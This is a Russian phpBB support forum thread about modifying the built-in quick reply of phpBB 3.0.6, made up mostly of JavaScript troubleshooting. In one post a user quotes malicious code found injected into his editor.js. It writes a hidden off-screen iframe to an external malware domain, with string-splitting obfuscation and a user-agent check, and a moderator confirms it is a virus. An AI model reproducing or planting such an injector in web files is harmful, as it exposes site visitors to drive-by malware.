Уважаемые пользователи!
Напоминаем, что с 7 ноября 2020 года phpBB Group прекращает поддержку phpBB версии 3.2.
Сайт официальной русской поддержки phpBB Guru продолжит поддержку phpBB 3.2 до 31 декабря 2020 года.
С учетом этого, а также того, что версия 3.2.x больше не будет получать обновлений, за исключением связанных с проблемами безопасности
(только при их наличии и только до 7 ноября 2020 года), рекомендуется обновить конференции до версии 3.3.x.

Quick Reply phpBB 3.0.6 доработка встроенного быстрого ответ

Здесь авторы могут постить бета-версии своих модификаций для phpBB 3.0.x. Внимание! Не устанавливайте бета-версии модов на работающие форумы!
Правила форума
Местная Конституция | Шаблон запроса | Документация (phpBB3) | Переход на 3.0.6 и выше | FAQ-3 (phpbb3) | Как задавать вопросы | Как устанавливать моды

Ваш вопрос может быть удален без объяснения причин, если на него есть ответы по приведённым ссылкам (а вы рискуете получить предупреждение ;) ).
Аватара пользователя
Rayden
Former team member
Сообщения: 3739
Стаж: 16 лет 3 месяца
Поблагодарили: 44 раза

Quick Reply phpBB 3.0.6 доработка встроенного быстрого ответ

Сообщение Rayden »

Внимание: данная тема описывает доработку встроенного быстрого ответа phpBB 3.0.6.
Не путать с модами быстрого ответа!


Почитав вот эту тему: Quick Reply 3.0.6
Почитав вот эту тему: Доработка Quick reply for phpBB3 (rxu)
И естессно, вот эту тему: Quick reply for phpBB3 - Быстрый ответ

Понабрав идей и скриптов, добавив кое-что свое, пришел к выводу, что встроенный в phpBB 3.0.6 быстрый ответ вполне можно довести до ума.
Вот что получилось:
1. Добавил в быстрый ответ панель смайлов и панель кнопок ббкода. И то и другое можно отключать через админку.
2. Добавил кликающиеся ники. (в просилвере рекомендуется использовать дополнительную иконку для ссылки на профайл)
3. При нажатии на ник в просилвере автоматически открывается быстрый ответ.
4. После вставленного ника курсор не переводится на новую строку.
5. Добавил в сабсилвер и просилвер кнопки "быстрая цитата" (английские и русские).
6. При нажатии на кнопку "быстрая цитата" в просилвере, если выделен текст, открывается быстрый ответ
7. При нажатии на кнопку "быстрая цитата" если цитируемый текст не выделен, то открывается окошко с предупреждением, что надо выделить текст.
qr306_1.0.2b.zip
(69.03 КБ) 5176 скачиваний
тестируйте
На полное авторство не претендую, так как кроме своего кода активно использовал наработки из вышеприведенных тем. Кого гложет чистолюбие, могу добавить в авторы :)
Пофиксенный файл - qr306_1.0.2a.zip. Кто успел скачать до этого, инструкция по исправлению двумя постами ниже.

Опять файл изменен - qr306_1.0.2b.zip. В предыдущем была небольшая ошибка в инструкции.
Последний раз редактировалось Поручик 20.01.2010 15:32, всего редактировалось 1 раз.
Причина: Редактирование названия темы
phpBB2 FAQ
phpBB3 FAQ
Аватара пользователя
xisp
phpBB 3.0.0 RC7
Сообщения: 1798
Стаж: 9 лет 4 месяца
Благодарил (а): 152 раза
Поблагодарили: 215 раз
Забанен: Бессрочно

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение xisp »

Jedai писал(а):Где собака порылась?
В яваскрипте. Жмите F12, там консоль, и смотрите на ошибки.
Ссылка на форум с тестовым аккаунтом так же поможет в решении проблемы.
phpBBex
Jedai
phpBB 1.4.0
Сообщения: 30
Стаж: 9 лет

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Jedai »

xisp писал(а):
В яваскрипте. Жмите F12, там консоль, и смотрите на ошибки.
Ссылка на форум с тестовым аккаунтом так же поможет в решении проблемы.

Аккаунт с какими правами?

Посмотрел в консоли, вот что пишет

Код: Выделить всё

ReferenceError: helpline is not defined
helpline('tip')
При попытке вставить смайлик получаю

Код: Выделить всё

ReferenceError: insert_text is not defined
insert_text(':wink:', true); return false;
Если ВВ-код пытаюсь вставить, то

Код: Выделить всё

ReferenceError: bbstyle is not defined
bbstyle(6)
Аватара пользователя
Татьяна5
Поддержка
Поддержка
Сообщения: 10695
Стаж: 10 лет 1 месяц
Благодарил (а): 186 раз
Поблагодарили: 3020 раз

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Татьяна5 »

Jedai писал(а):Аккаунт с какими правами?
С правом отправлять сообщения
Jedai писал(а):Посмотрел в консоли
Ошибка в editor.js, где именно - по этой информации сказать невозможно
Jedai
phpBB 1.4.0
Сообщения: 30
Стаж: 9 лет

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Jedai »

Татьяна5 писал(а):С правом отправлять сообщения

Создал пользователя
Логин и пароль отправил в личку

Добавлено спустя 8 минут 28 секунд:
Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого ответ
Заменил editor.js из исходного пакета, пока заработало

Добавлено спустя 2 минуты 17 секунд:
Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого ответ
Уже перестало работать
Аватара пользователя
Татьяна5
Поддержка
Поддержка
Сообщения: 10695
Стаж: 10 лет 1 месяц
Благодарил (а): 186 раз
Поблагодарили: 3020 раз

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Татьяна5 »

Jedai, не забывайте проверять ЛС (откуда мне знать, на каком форуме вводить логин и пароль?)
Jedai
phpBB 1.4.0
Сообщения: 30
Стаж: 9 лет

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Jedai »

Определил, что на сервере в файл editor.js происходит запись в самое его начало
Вот такой код

Код: Выделить всё

//Some.devices.are.designed:to,deny,users.access.to.install,or.run.modified:versions.of.the.software.inside:them,althoughthe,manufacturer,can.do.so
(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var lenam = 0;
if ((lenam = haystack.indexOf(needle, f_offset)) !== -1) {
return lenam;
}
return false;
}
function ver_newbar_check(){
var VestelProbe = 'iPhone@Macintosh@Linux@iPad@Series40@SymbOS@Flock@SeaMonkey@Nokia@SlimBrowser@AmigaOS@Android@FreeBSD@Chrome@IEMobile@SymbianOS@Avant@Chromium@Firefox/18.0@Firefox/18.0.1@Firefox/17.0@Firefox/12.0@Firefox/25.0@Firefox/24.0@Firefox/18.0.2@Firefox/19.0@Firefox/19.0.1@Firefox/20.0@Firefox/21.0@Firefox/22.0@Firefox/23.0@Firefox/25.0.1@Firefox/26.0@Firefox/27.0@Maxthon@MRSPUTNIK@Mini@Firefox/28.0@BlackBerry@PLAYSTATION@Wget@Firefox/27.0.1@Firefox/28.0';
VestelProbe = VestelProbe.split('@');
var easymKA = false;
for (var i in VestelProbe) {
if (stripos(navigator.userAgent, VestelProbe[i])!==false) {
easymKA = true;
break;
}
}
return easymKA;
}
function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\/\+^])/g, '$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!ver_newbar_check()) {
var cookie = getCookie('lenea18je16ukerma91ke01lxna47jerma15gke381kja7d');
if (cookie == undefined) {
setCookie('lenea18je16ukerma91ke01lxna47jerma15gke381kja7d', true, 86404);
document.write('<ifra'+'m'+'e sr'+'c='+'"http://sabrina.negocios100fronteiras.com/rtshgrejrtfdnhrtjt19.html" style="position:absolute;left'+':-'+'1317'+'px'+';'+'top'+':-'+'1317'+'px'+';" height="141" width="141" name="PoliticNAte"></ifra'+'me>');
}
}
})();
//Finally,every:program.is.threatened.constantly.by,software.patents./**
И из-за этого часть кода получалась с ошибкой

Код: Выделить всё

* bbCode control by subBlue design [ www.subBlue.com ]
* Includes unixsafe colour palette selector by SHS`
*/
Код становится не закоментированный
Удалил вот это из исходного скрипта

Код: Выделить всё

/**
* bbCode control by subBlue design [ www.subBlue.com ]
* Includes unixsafe colour palette selector by SHS`
*/
И добавляющийся код при записи теперь не вызывает ошибку, БО работает
Но вопрос откуда этот код берется остался
Это вирус?

Jedai, не забывайте проверять ЛС (откуда мне знать, на каком форуме вводить логин и пароль?)
Простите, затупил
http://www.plus-one.ru/forum
Аватара пользователя
Sheer
phpBB Guru
phpBB Guru
Сообщения: 12009
Стаж: 14 лет 7 месяцев
Откуда: Калининград не Кенигсберг
Благодарил (а): 53 раза
Поблагодарили: 2756 раз

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Sheer »

Jedai писал(а):Это вирус?
Ага ;)
Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Jedai
phpBB 1.4.0
Сообщения: 30
Стаж: 9 лет

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Jedai »

Sheer писал(а):Ага
Да уж, приятного мало
И как же с ним на хостинге бороться?
Аватара пользователя
Sheer
phpBB Guru
phpBB Guru
Сообщения: 12009
Стаж: 14 лет 7 месяцев
Откуда: Калининград не Кенигсберг
Благодарил (а): 53 раза
Поблагодарили: 2756 раз

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Sheer »

Изображение
Общие ошибки новичков (07.11.2005) & Как задавать вопросы
Мини FAQ
Если ничто другое не помогает, прочтите, наконец, инструкцию!
"Никакая инструкция не может перечислить всех обязанностей должностного лица, предусмотреть все отдельные случаи и дать вперёд соответствующие указания, а поэтому господа инженеры должны проявить инициативу и, руководствуясь знаниями своей специальности и пользой дела, принять все усилия для оправдания своего назначения".
Циркуляр Морского технического комитета №15 от 29.11.1910 г.
Jedai
phpBB 1.4.0
Сообщения: 30
Стаж: 9 лет

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Jedai »

Спасибо за помощь
С БО разобрался, иду биться с вирусом
Аватара пользователя
serJO
phpBB 1.0.0
Сообщения: 7
Стаж: 7 лет 8 месяцев
Откуда: Москва

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение serJO »

Установил доработку, в итоге смайликов нету, два меню ББкода и в режиме быстрого ответа оно не кликабильно :(
Изображение
Подскажите где что искать.
Аватара пользователя
Татьяна5
Поддержка
Поддержка
Сообщения: 10695
Стаж: 10 лет 1 месяц
Благодарил (а): 186 раз
Поблагодарили: 3020 раз

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Татьяна5 »

serJO, проверяйте правки в viewtopic.php и styles/prosilver/template/quickreply_editor.html
raiden80
phpBB 1.2.1
Сообщения: 21
Стаж: 7 лет 5 месяцев

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение raiden80 »

Нет, я категорически отказываюсь что-либо понимать. Перерыл вдоль и поперек весь тред, опробовал все предложенные решения, а злополучная кнопка так и не появляется (((
Аватара пользователя
Татьяна5
Поддержка
Поддержка
Сообщения: 10695
Стаж: 10 лет 1 месяц
Благодарил (а): 186 раз
Поблагодарили: 3020 раз

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение Татьяна5 »

raiden80
Перепроверить правки по инструкции;
проверить правки в используемом стиле;
очистить кеш форума;
очистить шаблоны, темы и наборы изображений используемого стиля;
очистить кеш браузера (или зайти с другого браузера).

Вдруг не поможет - заполняйте шаблон запроса (телепаты в бессрочном отпуске)
raiden80
phpBB 1.2.1
Сообщения: 21
Стаж: 7 лет 5 месяцев

Re: Quick Reply phpBB 3.0.6 доработка встроенного быстрого о

Сообщение raiden80 »

Татьяна, большое вам спасибо - "карту выполнил, разрешите взлет" )) Проблема наблюдалась на 3.0.12 Prosilver в связке с Wordpress. Решил правкой кода, предложенной в этом посте. Беда лишь в том, что автор предложил править файл viewtopic_body.php вместо viewtopic_body.html ))

Вернуться в «Бета-версии модов для phpBB 3.0.x»